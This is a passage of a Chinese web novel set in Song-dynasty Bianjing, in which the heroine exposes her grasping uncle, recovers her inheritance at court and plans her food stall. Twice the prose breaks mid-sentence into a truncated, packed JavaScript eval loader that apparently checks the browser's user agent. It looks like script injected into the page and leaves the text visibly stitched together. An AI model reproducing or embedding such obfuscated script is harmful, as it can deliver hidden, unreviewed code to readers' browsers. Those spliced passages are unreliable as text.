“金枝啊,我和你舅舅可是把你当亲侄女对待的,你怎么回汴京都不与我们写一封书信?也好叫我们预备着给你接风洗尘。” “哦?舅舅与舅妈确实是要给我接风洗尘?而不是将我弟妹连夜送走,好叫我无法知道舅舅与舅妈这些年,是如何对待他们的?!” 柳金枝冷笑,将“如何对待”这四个字咬的极重。 柳霄和月牙也一同围上来,冷冰冰地看着邓章氏。 邓章氏更为心虚,结结巴巴道:“我、我和你舅舅待霄哥儿、月姐儿算不错了!你、你非要这么空口白牙污蔑人,我也分说不清楚!待你舅舅来亲自与你说吧!” 尔后就想走。 柳金枝直接上前两步将人拦住,语气含笑:“舅妈,您去告诉舅舅一声也好,毕竟有些账咱们确实要算了。今日未时,我亲携弟妹上门拜访。” 言罢,这才将邓章氏放走。 柳霄皱着眉,走上前拉住柳金枝的衣袖:“阿姐,你当真要亲自去邓家?” 柳金枝道:“当然,总不能白叫你们吃了这些年的苦头。再者说,阿爹阿娘留给我们的家财还在他们手中,咱们也必须拿回来。” 柳霄抿了抿唇,道: “我和月牙在邓家待了这么多年,对他们夫妇二人也有所了解。舅母是个后宅妇人,虽贪财,但蠢笨,所以我和月牙也不怕她。但是舅舅……” 他停顿片刻,才道: “是个心黑手狠的捣子,又认识许多人。在你没回来前,我和月牙就想过去告官,让舅舅把遗产吐出来。没想到叫他盯上,不仅派人追打我们,还叫我们进不了府衙一步,还抢了我费心存下的银钱。” 柳金枝脸色猛然一黑。 难怪呢! 柳霄看起来也不像是个没主意的孩子,怎么可能任由自己和月牙流落街头,甚至到了偷吃包子被抓入军巡捕的地步。 原来是想过反抗,却被这个黑心的贼娘舅给硬生生打了回来! 好啊好啊,当真是眼瞧着她不在,就把她弟妹两个当猪狗般欺负。 柳金枝气的两颊泛红,问柳霄道:“你和月牙受了这么多欺负,为什么不在我回来后全部告诉我?” 柳霄沉默了下,眼眸漆黑若深潭,道:“因为我不想再失去这个家。” 柳金枝看着柳霄,柳霄却避开了她的目光,低声说道: “无论阿姐你说我自私也好,骂我怯懦也罢。可我和月牙好不容易能有一个稳定的家,我不能再眼睁睁看着你去撞南墙,把这个家又撞散。” 他说着,蹲下来拉住月牙的小手。 因为冬日里手也浸在冷水中洗了半日的盘子,月牙双手发红,指尖还有着细小伤痕。 但是从头到尾,月牙都没有叫过一声辛苦。 “阿姐,虽然我们现在的日子过得也不算轻松,但我和月牙都觉得已经够了,至少比我们以前待在邓家,不知何时才能吃上一顿饱饭的日子有盼头多了。” “所以,你不要去邓家了讨要说法了,咱们就先经营好自己的小家,好吗?” 柳金枝看着少年眸子里诚恳的神色,知道他说的话皆是出自肺腑。 长久孤独流浪的孩子,一旦拥有了家,就会拼尽全力去维护它。 更何况本来就将家视作性命的柳霄? 柳金枝理解,也心疼柳霄和月牙。 她弯下腰,分别揉了揉柳霄和月牙的发丝,轻声安慰道:“阿姐不怪你懦弱,我能知道你是为了这个家好,也是为了我好。” 柳霄一怔,忍不住抬起头来看柳金枝。 逆着天光云影,柳金枝眉眼清丽,像是一幅艳山暖水的画,可她眸子里的温柔才最叫人移不开眼。 “阿姐,你同意不去邓家了?”柳霄忍不住问。 “不,我还是要去。”柳金枝认真道:“因为你不知道,愿意各退一步的人是君子,但小人只会欺软怕硬。你越不肯与他硬碰硬,他就会越来欺负你。” 柳霄眸光闪动。 “与其坐以待毙,不如主动出击。”柳金枝对柳霄伸出手,“你若肯信我,那就与我站在一起,咱们一家三口齐心协力,去邓家讨这笔债!” 柳霄的视线落在柳金枝的手掌上,眼眶微红,道:“……如果你非要去这一趟,那我就跟着你。” 他没握住柳金枝的手,而是一个人抱着月牙默默站起来。 “但是月牙不能跟着我们一起去,就把她寄放在黄婶子家吧。” 柳金枝道:“你是怕我这一去会出意外,所以才想跟着我?” 柳霄顿了下,但没说话,只是转过头将月牙放在驴车上,然后一个人扛着擦拭干净的两套桌椅还去了蔡氏饭馆。 看着柳霄消瘦倔强的背影,柳金枝摇摇头,走过去摸摸月牙的脑袋:“他哪里都好,就是太倔了,对不对?” “但是哥哥会保护我们。”月牙抱住柳金枝的胳膊,小脸压出肉肉的弧度,“因为哥哥比谁都爱我们,所以你们两个一定不要吵架。” “当然不会,因为阿姐也比谁都爱你们。” 柳金枝温柔地说。 她得让柳霄彻底明白,现在已经不是六年前了。 他和月牙不再是没有人撑腰的孩子。 等柳金枝一家三口收拾好东西回到采莲胡同时,已经过了午时。 胡乱吃了些早上做的朝食果腹,柳金枝就抓了一把子铜子外出了一趟,等到临近未时才回来。 柳霄已经套好驴车在采莲胡同等着了。 虽然柳霄对柳金枝消失这段时间去了哪儿有些疑惑,可柳金枝没主动说,他也就没问,只一路沉默驾着驴车到了城南。 邓家是做药材生意的,但一路传到邓家舅舅,邓山,这一代已经逐渐没落。 再加上邓山又是个鸡鸣狗盗之徒,拜高踩低之辈。对穷苦百姓,他就用假药来滥竽充数。对富户豪绅,就拣上好的药材上供。 所以近年常在各路达官贵人的门首走动,也识得了许多不三不四的捣子,帮他做些龌龊勾当。 不知有多少穷人吃他家的药毫无疗效后,气愤到要去报官,结果被几大拳打将回来的。 邻里街坊哪个不对邓山咬牙切齿?却又只能打碎牙往肚子里咽。 这种人不能以常规手法对付,只能另辟蹊径。 柳金枝想着,驴车已经载着她一路从新曹门到了城南。 她少年离家,对邓氏药材铺地址的记忆早已模糊,但柳霄记忆深刻,一路驾着驴车过了南熏门里大街,直奔宣泰桥而去,而桥旁的“邓氏药材铺”旗招子已经若隐若现。 柳霄当真对邓家满怀恨意,只是瞧见个旗招子,都忍不住绷紧了背脊,脸色阴沉。 柳金枝拍拍他的肩膀,道:“放松些,有我在。” 柳霄回头瞧了她一眼,这才勉强让自己冷静下来,勒停驴车。 柳金枝下车以后没有丝毫停留,径直走向邓氏药材铺的门口。 甫一进门,柳金枝就瞧见柜台前的躺椅里坐着个瘦如竹竿的中年男人,蓄着山羊须,一双吊梢三角眼,眼睛滴溜溜一转,透露着十分的精明和刻薄。 男人还不知道柳金枝进门来,正翘着二郎腿翻看账簿,手里抓了一把瓜子儿,一边嗑,一边拉长了音调喊:“富贵儿,给老爷我沏壶茶来。” 柳金枝按住柳霄要叫人的架势,自个儿酝酿了一下,大叫一声:“娘舅!我的命好苦啊!” 这一声仿佛在邓山耳边丢了个炸雷,吓得他手一抖,瓜子和账簿全掉了一地,险些摔在地上。 惊惶抬头一看,方才瞧见柳金枝,当下脸色来回变换,青青紫紫,最后又转为黑,冷笑着拍拍手站起来,道: “好侄女儿,你倒是一言既出驷马难追,说登门还真登门。” 看来邓章氏已经把柳金枝的话带到了。 柳金枝做作地抖开一条帕子,在自己脸上擦来擦去,凄声惨气地哭道: “再不登门,侄女我可就活不下去啦!娘舅啊,当年我父母双亡,我与一双弟妹又年幼,便把遗产托付给你看管。” “再加上我家老屋这些年的租金,和我卖身为奴的银子,也都给了你,就是劳烦你帮我照顾两个年幼的孩子。” “结果我弟妹两个流落街 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众人被挨打,但又不肯放过看邓山笑话的机会,就远远凑在街对面的铺子里看。 邓山恨得牙痒痒,骂道:“你这贼猪狗,此前你舅母上御街采买布匹,你倒给拦住了好一通威胁!现下又来侮辱我了。你说说,你究竟要如何?” 柳金枝哭哭啼啼,道:“我只是一介弱女子,能待如何?只不过期望娘舅你把我阿爹阿娘的遗产还回来罢了。” “呸!按照大宋律法,我妹子和妹夫死了,他家的遗产合该归我管。我瞧你是在外头勾搭了什么不三不四的野男人,就想从我手里捣鼓走遗产,好自己享用吧?” 邓山冷笑。 柳霄顿时怒火中烧,怒喝道:“你嘴巴里在喷什么粪?!” “怎的?刺中你的痛处了?”邓山不屑一笑。 “你——!” 柳霄撸袖子就要上去拼命,却反叫柳金枝拦下。 柳金枝假意擦着眼泪,道:“娘舅说的不假,但娘舅扪心自问,你拿着我父母财产,可有一分一毫花在我弟妹身上?” “您瞧舅母身上穿的是绫罗绸缎,头上戴的珠花金簪。您这件直裰恐怕还是杭州湖边的丝绸裁剪的,便可见一斑。” 邓章氏心虚地往后缩了缩,但邓山气急败坏,抬手就想打人。 可柳金枝抢在他之前陡然提高音量,道:“娘舅怕是还不知道,《名公书判清明集》中曾记载了一件“叔父谋吞幼侄财产”案。” “因幼侄儿年幼时痛失双亲,不得不由叔父代为监护。结果叔父贪婪自私,不仅未尽监护之责,反倒霸占了侄儿家财。” “官府发现后,严惩其叔父,仗责四十,直打的人下半身血淋淋的。” “娘舅,您说若官府知道你这般虐待亲侄,抢夺遗产,会不会也对娘舅动这样的刑罚?” 一番话说的邓山脸色是变了又变。 但他可是在汴京城里混迹了多年的捣子,倒不至于被柳金枝一句“告官”就给吓唬了去。 “好侄女,我算是听出来了,你这是想要以下告上,闹到官府去。”邓山嗤笑一声,压低了声音威胁,“但侄女莫不是忘了我大宋律法早有规定,以下告上,需先行承担责仗三十。就你这身子骨,经得起打吗?” 邓山将柳金枝当作十六岁少女吓唬,可不知柳金枝来自现代,其眼界学识非常人可比。长眉一挑,将这话怼了回去: “娘舅,我就与您说一句实话。这回我从秦淮回来,就没打算再离开。但家中贫穷,生活难以为继,就快饿死了。现下为了银子,就算叫我再挨三十板子也甘愿。” 今日为了卖朝食方便,柳金枝和柳霄都穿的十分朴素。 特别是柳金枝,她本就没什么傍身银钱。 所以身上穿的是洗得发白的粗布麻衣,一头青丝只用一根素木簪子固定,再加上她清瘦的身段,很难不让人相信她是因为走投无路,而不得已与邓山拼死一搏。 “再说了,侄女年轻,挨一顿板子死不了,养养就回来了。”柳金枝擦去腮边两滴清泪,故意走近两步对着邓山勾唇一笑,眉眼满是挑衅和算计。 “只是娘舅,我记得您今年也三十有九了,可还经得起这般折腾?” 14. 闹去官府 邓山在横行霸道多年,就没被人这样对待过。 他气得脸都绿了,把拳头纂得吱嘎响,恶狠狠道:“你想报官?想得美!我让你这辈子都走不到衙门口!” 话音落下,门口砰一声。 柳金枝与柳霄猛然回头。 居然是富贵不知什么时候绕到了大门口,将门给关上了,手里还拿着根棍棒,紧盯着柳金枝的腿。 看来这厮是仗着背后有人,想要来硬的! 柳霄反应过来,直接抢过柜台上药材秤,横身保护在了柳金枝身前,像个小豹子一样绷紧了浑身肌肉。 “你敢动我阿姐一下试试!” 邓山却嚣张道:“富贵,给我打!只当他们是光天化日之下,闯入我药材铺偷盗的贼人,届时到了官府,自有我为你分说!再与你十两雪花银!” 一听说有银子,富贵顿时眼前一亮,二话不说就朝柳金枝扑去。 柳霄大叫一声,拼命朝前一撞,用双臂死死抱住富贵腰身,口中大喊:“阿姐快跑!快跑!” 富贵满眼不耐,正要揪住柳霄衣带,将人狠狠砸出去的时候,药材铺的大门忽然被人撞了一下。 起先还没人在意,邓山只顾着叫富贵打折柳金枝的腿。 但大门的撞击声越来越大,整个大门摇摇欲坠,被猛地一下撞开,门板倒在地上激起一片灰尘。 邓山和邓章氏都吓了一跳,抬头一看,只见门口不知何时居然站了三个黑黢黢的彪形大汉,一个个长得跟移动小山似的,往哪儿一站,顿时就将门口堵了个水泄不通。 富贵与他们相比,就好似猛虎比野狗,气势上顿时就输了一截。 更遑论其中有个汉子恼富贵挡了他的道,当下一脚踹中富贵小腿,直把个人踹翻在地,抱着腿爹啊娘啊的嚎哭个不停。 趁此机会,柳金枝赶忙带着柳霄躲到一边静观其变。 邓山也免不得吞了一口唾沫,叉手一拜,道:“不知三位好汉是哪方人士?怎得今日莅临寒舍?” 为首的一个络腮胡粗声粗气道:“邓二哥是爽快人,直接就问了俺们来历,那俺们也不睡里梦里,直说了罢。” “前些日子俺在你这间药材铺里买了味假药,找你来理论时,你只说是没银子,又哭的可怜,俺们也就宽限了你些时日。” “但现下俺们看你威风的很,不似个可怜虫,便要上门讨银子来。” 邓山听了,把眼睛都吓得瞪大了:“你们在胡说什么?我何曾欠过你们银子?” “邓二哥,你这话就不对了,你没欠俺们银子,那俺们又为何要向你讨银子?自古说苍蝇不钻那没缝的蛋,你可休要抵赖。”络腮胡道。 柳霄听得眉心一跳,看向柳金枝道:“阿姐,这……” 柳金枝按住他的嘴,笑道:“别说话,先把这出戏看完。” 这邓山常常叫贫困百姓吃哑巴亏,现下到他吃亏,简直就冤得无处诉苦,拍着手道:“我都不知你们三人姓甚名谁,素不相识,你们怎得就要找我来讨银子?这一定是认错了!” “欸,邓二哥,自古以来于官不贫,赖债不富。你连本带利欠了我们五十两银子的药材钱,怎就耍赖不给呢?你可别忘了,当时你这味假药,可是险些害死我鲁家嫂子。” “是啊,若不是我几个劝着我鲁兄弟,他就是拿把刀子杀了你,白刀子进红刀子,也是使得的。你怎得转脸就不认了这恩情?” 瞧这络腮胡说的有理有据,把个邓山急得额头冒汗,道:“我哪里借了你们的银子?就算真的借了,也该有文书保人。现在无凭无据,你们便要讹我五十两银子?世上哪有这样的道理?!” “你要文书?我这有,与你瞧瞧。” 络腮胡从袖子里取出文书,在邓山面前晃了一晃。 邓山一瞧上头写的年月日全然对不上,眼见着是弄虚作假,当下脸被气的蜡黄,怒喝道:“贼他娘的杀千刀,你们是哪里来的捣子?走来我门首讹诈我?!” 却不想络腮胡比他更恼火,上前就是一拳,正中邓山面门,打得鼻子都恨不得歪到一边,整个人朝后一飞,撞在货架上,扫落了一地的药材。 眼见邓山吃了瘪,那些个被富贵赶走的百姓又纷纷围过来瞧热闹,讥笑不已。 邓山只觉得自个儿的鼻子软成了一根热面条,险些要从自己脸上流下来。再一摸,好家伙,满手的鼻血! 真是气得他七窍冒烟,恨不得五脏六腑都挪了位,捏着鼻子大骂道:“好个贼捣子!我倒要叫你们好看!”又奋力挣扎起来,“富贵,还不快过来帮忙!” 可是富贵被这络腮胡一脚踢翻,此时还在地上窝爬着哭爹喊娘,哪里还敢再上? 邓山这回是落了个孤立无援的下场。 三汉子中的一人道:“罢了,大哥,咱也别给邓二哥太难堪。当年都肯宽限他些时日,现下也再宽宥一二。只要他肯把五十两药材钱还上,咱们就别动手了。” 邓山又气又怕,又不敢再骂,只恨恨道:“我哪里有借你们银两?就是有借,你们也该与我好讲,怎得这般撒野?!” 闻言,络腮胡好笑道:“邓二哥,你若早这般承认欠了我们药材钱,也不用挨我这一拳了。你说说,这一拳岂不是你自找的?” 从未听过这般颠倒黑白之事! 邓山顿时气得理智全无,手都在发抖,破音了一般吼:“□□你祖宗的!我要报官!我要报官!” “瞧这邓二哥,似吃了酒一般,又说起胡话来了,让兄弟我来替你醒醒酒。” 络腮胡笑吟吟的,大步流星走上前提起邓山,直从货架前提溜到了铺子门口,手上不提防又是一拳。 打得邓山一声惨叫,仰八叉跌了一跤,直摔出街面去,险些跌进洋沟里,却将帽子掉了,发散开了,连巾帻都叫沟水污了,狼狈的不成样子。 可是邓山人缘坏,周围连一个帮他说话的人都没有,大家都笑嘻嘻的,有的甚至还在喝彩: “壮士,再来一拳!” “打得好!” 吵闹成这般情形,终于招来了地方保甲。 保甲见邓山心头恨极,一味嚷嚷着“青天白日里冤枉人,我要见官!”之类的话,便取出一条绳儿来,将邓山与那三条汉子一并栓了,要押他们去官府。 又见柳金枝和柳霄还有富贵也都在郑氏药材铺子里,应是人证,因此不问三七二十一,也作一条绳儿捆了,一并带去官府。 而邓山呆愣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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人群后头,有两道人影从五岳观里绕出来。 走在后头的是一白胖小童,睁着一双圆溜溜杏眼,手搭凉台瞭望道: “二郎,你瞧,前头挤了好些人,也不知发生什么事了。” 傅霁景略微抬起头来简单看了前头一眼。 寒风吹起他身上宽大的藏青色袍子,猎猎作响,却又有几分说不出的魏晋风流。 “杏安,莫要瞧热闹了。”傅霁景重新敛下眉眼,声音温和沉静,“先回家将何方真人的墨宝交给父亲方为正事。” 杏安颇为失望地又踮脚看了下,却见前方人群也渐渐要散了,百姓们零零散散走开,只剩嘴里还在议论: “若柳娘子到了公堂之上,还被邓山刁难,我倒愿意去作证。当年柳霄还住在宣泰桥的时候,我可没少见邓山拿竹条抽打那孩子。” “只是邓山终究是柳娘子的娘舅,若是以下告上,这三十板子是逃不掉了。” “可惜了柳娘子如花一般的美人。” 傅霁景脚下一顿。 15. 拿回遗产 待柳金枝一行人被保甲带至应天府公堂下跪,两排衙役一齐大力敲打水火棍,齐呼:“威武——” 坐于明镜高悬四字匾额下的提刑官着一身藏青,眉心有道川字眉,虎目炯炯有神,更显不怒自威,沉声道: “堂下所跪之人,哪个是苦主?” 邓山后悔不迭,却又不敢承认,直到被那保甲踢了一脚,才颤巍巍应道:“草、草民就是。” “你要状告何人?” “草民……” 邓山满头冷汗,却支支吾吾说不出个道理来。 就在这时,忽有一声越过他,掷地有声道:“娘舅他要状告这三位壮汉讹诈。” 邓山一愣,惊异地看向柳金枝,似是不理解为何柳金枝不帮着这三人。 然而还未等他把事情想明白,那三个汉子就大声叫起冤屈来,一口咬死了是邓山卖假药,欠了他们五十两银子。 提刑皱起眉头,敲响惊堂木:“肃静!你们既然状告邓山欠你们银两,可有保人文书?” 邓山本以为这三人要将那份伪造的文书拿出来,谁知这三人居然摇头,苦笑道:“回老爷,我们没有。” 话音落下,邓山只觉得背脊发毛。 这三人才没那么好心,不知是在哪里等着他? 果然,下一刻,络腮胡便道:“这邓山精明,我要签文书,他却一直推脱不肯,因而草民没有证据。可是草民不曾说话,邓山当真作奸犯科,以次充好,卖假药骗人。大人若是不信,大可以去宣泰桥找街坊邻居作证。” 按照大宋律法,贩卖假药这事儿一旦被坐实,那就是流放的刑罚! 邓山这才明白这三人打得是什么主意,不由得遍体生寒,直发起抖来,只有脑子还保持一点清明,只觉得整件事不对。 他与这三人无冤无仇,怎得就要来坑杀他? 忽然,一点灵光从脑子里闪过,邓山瞪直了眼睛看向柳金枝。 而柳金枝侧眸瞧他,却是微微一笑。 “是你!”邓山恨不得扼杀柳金枝,面容扭曲地怒吼,“是你害我!就为了四千贯,你居然害你亲娘舅!” “肃静!不得扰乱公堂!” 提刑再拍惊堂木。 左右立即上前按住邓山的肩膀,啪啪左右开弓抽了他两个嘴巴,直把人打的天旋地转,再不敢高声,只用一双眼睛恨恨地瞪向柳金枝。 “去,到宣泰桥寻访邓山的邻居,有愿意作证的即刻带来应天府。” 提刑从签筒里抽出个令箭掷于堂下。 左右领命即去。 本以为此事破要费一番功夫,谁知邓山在宣泰桥作威作福多年,左邻右舍饱受欺压,一听得是应天府传唤,光是自愿来府衙的就足有十来个! 齐刷刷在公堂上跪了一排,提刑问什么,便答什么,但架不住邓山人缘坏,一问一答之间,居然就有人额外控诉起邓山来。 如买了邓氏药材铺的药,却吃坏了身体的百姓要去官府告状,邓山雇打手将人痛打一顿,逼的苦主不敢再靠近官府一步。 又如邓山仗势欺人,邻家的猪跑到了他家,就故意把猪关起来据为己有,邻居来讨要,反将人痛骂一顿。 还如…… 邓山的罪状越挖越多,提刑眉心拧成了个大疙瘩,眼中怒火鼎盛。 “大胆!在汴京城中,官家脚下,竟还能出现这般贼恶人!”提刑狠拍惊堂木,“可还有苦主要说话?” “老爷。”柳金枝膝行两步上前,跪地流泪,“还请老爷饶民女娘舅一命。” “娘舅他虽然是个恶人,亦曾强占了我父母的四千贯遗产不肯归还,还骗我自卖为奴将卖身银子交与他。” “假意收养我弟妹,却时刻将其虐打,还在冬夜里赶出家门,令其自生自灭。” “在我携带弟弟上门讨要银钱时,又要对我们姐弟俩动手。” “可他始终是民女的娘舅啊。” “民女不能眼睁睁看着娘舅被仗责流放。” 说实话,柳金枝这番话茶里茶气,听起来颇假,但奈不住她哭得真切。 眼泪跟断了线的珠子一样,扑簌簌从脸上落下来,大颗大颗砸在地面上。 配合着来看,倒真像个愚孝纯良之人。 可这番话险些没把邓山气晕过去,他尖声道:“分明就是你伙同这三人害我!现下却如此颠倒黑白!” 在场众人哪个和邓山没点仇? 一听说邓山这般不要脸构陷一位年轻娘子,便纷纷为柳金枝说起话来。 大家都住在宣泰桥多年,关于邓山虐待柳霄、月牙的见闻是数不胜数,诸如不肯给饱饭吃,逼得两个孩子垂死挣扎之际,只能去偷吃鸡食,却连这也要挨一顿毒打。 其惨状就连提刑都颇为动容,忍不住叹息:“世上竟有这般狼心狗肺之人。” 当下便不愿再听下去,直接拍响惊堂木,道:“犯人邓山售卖假药、仗势欺人、还意欲私吞亲侄钱财,现证据确凿。本官着令邓山归还五十两药材钱,与柳家娘子四千贯,事了之后再发配青山县,除非大赦,否则永不许回京!退堂!” 敕令落下,只听噗通一声。 众人看去,原来是邓山惊骇过度,竟然直接倒在堂中昏死过去。 柳金枝眼珠一转,当即做作地抖开一条帕子,掩面哭道:“哎呀,我的娘舅欸~您就这么去啦~侄女也是痛心疾首啊!” 大家见柳金枝伤心,都感叹她当真纯良心善,不由纷纷安慰。 柳霄却在一旁看的分明,柳金枝掩在帕子下的嘴角压都压不住。 为避免露馅,柳霄赶紧也假装悲伤将柳金枝扶起来,抽抽噎噎道:“阿姐,咱回家吧。” 柳金枝点点头,被搀扶着往外走。 眼见着二人的背影逐渐消失,师爷忍不住对提刑道:“大人,这位娘子以下告上,按照大宋律法,该先打三十大板才对。” 提刑沉默了一下,道:“师爷,律法确为铁令,却也该在细微处通达人情。今日之事,本官只当它是众人仗义执言,一齐揭发出来的。至于所谓以下告上,本官从未听过。” 言罢,提刑站起来,转身退堂。 府衙之外。 柳霄搀扶着柳金枝走了一段路,见身后无人跟来,这才分开说话。 天边晚霞柔柔落下,河畔的枯枝分割着半轮血色残阳。 借着天色,柳金枝才看清柳霄额上不知何时多了一层冷汗。 “阿姐,虽然我很高兴邓山终于自食恶果,但今日你说出他恶行的时候,我着实为你捏了一把汗。万一提刑认为你在以下告上,那三十大板你是无论如何都逃不过去的。” 柳霄道。 “阿姐知道。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可惜的是,傅霁景自从归家,除却亲近之人有事央求,否则绝不出门,只留在家中静心温书,连带着他也找不到机会出府。 今日好不容易见到柳金枝,为了肚子里的馋虫,说什么也得上去问候两句。 也就装出一副懂事知礼的模样,皱眉道: “二郎,当时在船上柳娘子为我们做了半月吃食,我们却没来得及当面告慰,就离船去了。现下想想,总觉得失礼。” 傅霁景脚步一顿,不由犹豫地抿起唇瓣,道:“这怕是于礼不合。” “嗐,礼还能比人情大?那柳娘子着实可怜,在侯府被磋磨,回汴京又因为黑心娘舅侵吞财产闹上公堂。” “都说救人救到底,送佛送到西。” “二郎既然救了柳娘子一命,不如好人做到底,去瞧瞧她家中到底如何?莫要又出意外,白救得一条性命回来。” 杏安一边说,一边小心翼翼地观察傅霁景的神情。 只见傅霁景也像是找到了一条满意的理由,终是点头道:“若是为了此前失礼之处去赔罪,倒理所应当……” 杏安闻言大喜,都等不及傅霁景把话说完,急急忙忙扭过头去要先叫住柳金枝二人。 然而前方哪里还有人? 柳金枝与柳霄早走了,此时只剩一片寂寥的深冬景色而已。 16. 镂鍮装花盘架车 夏提刑下了命令后,邓山就被扣上了镣铐。两个衙役押着他往宣泰桥的药材铺子走,要去拿回欠款。 柳金枝、柳霄还有那三个汉子自然都跟着。 到了郑氏药材铺,就看见邓章氏站在门口哭,见邓山被押解着,更是泣不成声。 却没人同情她,毕竟邓山作威作福的时候,她不也跟在身后耀武扬威? 两个衙役也不跟她多废话,直接出示公文,叫她拿出五十两银子并四千贯出来了账。 然而即便邓山曾经威霸一方,这五十两银子也是个了不得的大数目,邓章氏给不起,只得先把柳金枝的四千贯还了,说要再去后院找找。 两个衙役尚且年轻,倒真放邓章氏去了。 可是一刻钟后还不见邓章氏转还出来。 那络腮胡便一拍大腿:“糟了,这妇人怕是要逃啊!” 一群人齐齐涌入郑氏药材铺看,果真,金银细软,值钱药材全没了,后院角门大开,邓章氏便是从此处逃之夭夭。 衙役大怒,转身劈头盖脸打了邓山一顿,打的人嚎啕大哭,却又把人扯起来,往他岳丈家要银子去了。 这接下来的事儿柳金枝就不必再跟了,与三个汉子和两个衙役道过谢,就和柳霄坐着驴车去了御街。 柳霄面上阴郁之色消散不少,笑道:“多行不义必自毙,邓山这回活该。” 柳金枝道:“夫妻本是同林鸟,大难临头各自飞。邓章氏卷着钱财跑了,却连一点路费都没给邓山留。从汴京到青山县,少也有几千里路呢。要是连岳丈家也不肯施舍一些,衙役还不知道要如何恼火呢。” 这些可都不关他们的事儿。 各人有各人的造化,以后邓山是死是活,就与他们无甚关系了。 柳金枝道:“拿回了这四千贯,我想去御街上买些东西把食摊改造一下。” 柳霄闻言点头:“买些桌椅回来,就不用向别人借了。” “桌椅是一方面,我还想招个洗碗工。”柳金枝回想起月牙红肿的手指,心疼又愧疚,“月牙还小,不应该跟着我们吃这么多苦。” 柳霄道:“阿姐不要这么想,其实月牙很高兴,比起以前的日子,现在算不得苦。” “以前是以前,现在是现在,既然我回来了,总是要好好护着你们。”柳金枝从怀里摸出两盒油膏,塞在柳霄手里,“呐,你和月牙一人一盒。” 这两盒油膏还带着一些温热,应是柳金枝外出时早就买好的。 柳霄摸着油膏的外壳,心中温暖,笑道:“谢谢阿姐。” 柳金枝摸摸他柔软的发丝,眼中温柔的仿佛尽是点滴春色。 片刻后驴车停在御街的桌椅团行附近。 柳金枝下车一看,发现这里的铺子大多都在门首摆放精致桌椅,吸引顾客的视线。 椅子有靠背椅、扶手椅、圈椅、玫瑰椅、交椅和官帽椅。桌子又有平头案、翘头案、琴桌和花腿桌…… 但她是做夜市,地方有限,太大的桌椅要不了,太漂亮的桌椅又太贵。 最后挑挑拣拣,在一家铺子里头定下了五套,以高脚花腿桌和圆墩为配套的桌椅,先手交付定金,等桌椅送到了地方再总账。 但柳金枝其实还想要辆车。 “御街离新曹门那么远,若是每天早上都租赁一辆驴车赶过去,来不来得及不说,也太费银钱了。” “我听说团行里头有卖镂鍮装花盘架车的,也想买一辆,日后方便。” 所谓镂鍮装花盘架车,就是一种小型售货车。 宋朝卖零食的小贩为了吸引更多的食客来光顾生意,就会把食物装在镂刻着各类花纹,并用黄铜镶嵌的小型售货车上。 这样食客们打眼一看,就知道这家卖的是什么东西?色泽、品相如何? 当然,柳金枝当然不只是卖零嘴、杂嚼那么简单,她做饭炒菜离不开汤汤水水,还有炭盆火炉,每日来返极为不便。 她就想找到专门做镂鍮装花盘架车的铺子,再请店家帮她稍作改造。 将车内装上火炉、燎子,再开辟出一个地方给她挂砧板、菜刀,就像现代的流动商贩车一样。 不过虽然她想的很好,但能答应这种要求的店家很少。 毕竟她银钱有限,出不起高价手工费,而费心费力改造一辆镂鍮装花盘架车,对商家来说也颇为耽误生意。 所以转了好几圈都没有如愿。 “唉,找不到就算了。”柳金枝擦擦汗,放弃了,“等日后咱们赚钱了,再出个高价叫位师傅专门帮我做。” 柳霄问:“阿姐,大概要多少银子?” “工费、材料再加上浇手,怎么也得七八钱吧。” 七八钱? 柳霄抿了抿唇。 他觉得以柳金枝的俭省程度,哪怕以后赚钱了,估计也舍不得出这么多钱去买辆车。 于是他暗暗将这事记在心里。 “罢了,先拿驴车凑合着吧。”柳金枝解开茄袋数了一数银两,“再去买几只双层桶是要紧。” 柳霄问:“阿姐买桶做什么?” “为了做夏天的生意。” 一年春夏秋冬四季,每季的菜蔬各有不同。 春日万物复苏,正是采摘野菜,邻水斫鲙的好时候。夏日天色炎热,就要大口吃冰,喝些冰雪、凉浆、甘草汁……才爽快怡人。等到七月流火之时,饭桌上随处可见澄阳湖大闸蟹。 古代又没有温室大棚和冰箱和制冷机,饮食当然都是跟着季节走。 除却夏天。 古时夏天热死人,为了一解暑热,宋朝汴京出现了很多卖冷饮的铺子,就坐落在旧宋门和朱雀门外。 而冷饮从何来?就从冬日里的河冰来。 等到寒冬腊月,河水冰封的时候,请人工开凿干净的河冰背到家中,再将放入双层木桶当中保存。 这种大型双层木桶底下有基座,上面有圆盖子,两相接口处还包着白铜,把冰块往桶里一放,就是大咧咧的放在外头,也能保持两三天不化。 极其炎热之时,把这木桶在房间四角各放一个,其效果堪比现代空调。 一些大型酒楼,比如樊楼,财大气粗,就是如此做来方便招揽食客。 所以这就是哪怕樊楼菜色极为昂贵,也依旧能让众人趋之若鹜的原因。 但如果要保存的更久一些,就要把冰块连带着木桶一起放入冰窖之中保存。 因此在宋朝冰窖、冰井十分常见。 宫中有大型冰窖,冬日凿来的冰会在夏天时分给后妃们纳凉散热。 民间的则是小型冰窖,一般是商家开凿,用来存放冰块,好留到夏天卖钱。 好巧不巧,此前柳家父母在世时,为了储存方便,不仅在家中开凿了存放菜蔬的地窖,还开凿了一个小型冰窖。 这个冰窖不大,只有二十平方米左右,但对于柳金枝来说绝对够用了。 “之前是没钱买,我也没想着做这方面生意。现下有了钱,便一齐准备着吧。” 柳金枝笑眯眯的。 谁赚钱还嫌多呢? 柳霄看柳金枝财迷的样子,也笑开了,道:“阿姐,我在汴京待得久,认识一些凿河冰的好手。这事儿就让我去办吧。” “好。” 于是又花了两百来文,买了四只双层大桶,由柳霄做主,跑到河边请了位有些跛脚的中年汉子凿冰。 交付了五十文的押金后,天色也早黑透了。 不过这一天也算是功德圆满,该办的事都办好了,二人就回了家。 